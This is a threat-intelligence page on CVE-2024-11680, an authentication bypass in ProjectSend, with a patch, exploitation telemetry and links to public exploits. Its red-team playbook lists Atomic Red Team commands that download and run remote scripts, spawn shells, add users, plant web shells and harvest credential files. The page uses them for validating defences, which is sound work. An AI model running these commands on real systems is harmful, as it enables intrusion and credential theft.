CVE-2024-11680
Overview
This vulnerability is an authentication bypass caused by improper access control in ProjectSend's configuration management component. The flaw resides in the options.php endpoint, which fails to verify authentication before processing configuration modification requests. This allows unauthenticated HTTP requests to manipulate application settings, bypassing intended authentication mechanisms.
Vulnerability Description
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Remote, unauthenticated attackers can exploit this flaw by sending crafted HTTP requests to options.php, enabling unauthorized modification of the application's configuration. Successful exploitation allows attackers to create accounts, upload webshells, and embed malicious JavaScript.
Impact
An attacker requires no authentication or user interaction to exploit this flaw. Successful exploitation enables unauthorized creation of user accounts, uploading of malicious webshells, and embedding of harmful JavaScript code within the application. This leads to full system compromise, including remote code execution and persistent backdoor installation, resulting in data breaches and potential lateral movement within the affected environment.
Solution
Upgrade ProjectSend to version r1720 or later, where the authentication bypass in options.php is patched as per the commit at https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744. Refer to the official ProjectSend GitHub repository for detailed patch instructions and ensure deployment of the fixed version to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in ProjectSend arises from improper authentication mechanisms that allow remote, unauthenticated attackers to manipulate the application's configuration. Specifically, the flaw is located in the handling of HTTP requests sent to the options.php file. This oversight enables attackers to bypass authentication controls, granting them the ability to alter settings that should be restricted to authorized users. Such unauthorized access can lead to significant security breaches, as attackers can create new user accounts, upload malicious files such as webshells, and inject harmful JavaScript into the application, thereby compromising the integrity and confidentiality of the system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a series of HTTP requests targeting the options.php endpoint, leveraging the lack of proper authentication checks. By sending these requests, the attacker can manipulate the application's configuration without needing any legitimate credentials. For instance, once an attacker successfully creates an account, they can escalate their privileges and gain full control over the application. This could lead to a range of malicious activities, including data exfiltration, defacement of the application, or even using the compromised server as a platform for further attacks against other systems.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on ProjectSend for file sharing and management. Given the high CVSS score of 9.8, the risk associated with this flaw is categorized as critical. If exploited, attackers could not only disrupt business operations but also lead to severe reputational damage, loss of customer trust, and potential legal ramifications due to data breaches. Organizations may face financial losses stemming from recovery efforts, regulatory fines, and the costs associated with notifying affected parties. Furthermore, the ability to upload webshells means that attackers could maintain persistent access to the compromised system, allowing for ongoing exploitation and data theft.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating ProjectSend to the latest version is crucial, as it ensures that known vulnerabilities are patched. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests targeting the options.php file. Monitoring logs for unusual access patterns or unauthorized account creations can also provide early warning signs of exploitation attempts. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively. Educating users about secure practices, such as using strong passwords and enabling two-factor authentication, can further bolster defenses against unauthorized access.
In conclusion, the improper authentication vulnerability in ProjectSend poses a significant threat to organizations utilizing this software. The potential for unauthorized configuration changes, account creation, and the upload of malicious content underscores the critical need for timely updates and robust security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and mitigate the associated risks effectively.
CSURFACE threat intelligence has detected a notable surge in exploitation attempts targeting the improper authentication vulnerability in ProjectSend. This escalation is underscored by an increase in telemetry activity, indicating that threat actors are actively leveraging publicly available proof-of-concept exploits and Metasploit modules to compromise vulnerable instances. The persistence and slight growth in exploitation attempts, despite stable EPSS scores, suggest sustained attacker interest and potential expansion of the threat actor base. This development elevates the operational risk for organizations running affected ProjectSend versions, as the window for successful unauthorized configuration changes and remote code execution remains open. Consequently, defenders should regard this vulnerability as an ongoing critical threat with increased likelihood of exploitation in the wild.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Projectsend | Projectsend | All |
cpe:2.3:a:projectsend:projectsend:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution
exploits/linux/http/projectsend_unauth_rce
|
Florent Sicchio, Hugo Clout, ostrichgolf | Unknown | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
D3N14LD15K/CVE-2024-11680_PoC_Exploit
This repository contains a Proof of Concept (PoC) exploit for CVE-2024-11680, a critical vulnerability in ProjectSend r1...
|
D3N14LD15K | 12 | 1 | 2024-12-04 | View |
|
qucklecrabik/CVE-2024-11680
This repository contains a proof-of-concept (PoC) exploit for CVE-2024-11680, a critical vulnerability in ProjectSend r1...
|
qucklecrabik | 0 | 0 | 2026-03-31 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11680 |
| github.com |
GitHub CVE
patch
|
https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744 |
| synacktiv.com |
GitHub CVE
third-party-advisory
exploit
|
https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf |
| github.com |
GitHub CVE
exploit
|
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/projectsend_unauth_rce.rb |
| github.com |
GitHub CVE
exploit
|
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/projectsend-auth-bypass.yaml |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/projectsend-bypass |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-11680 |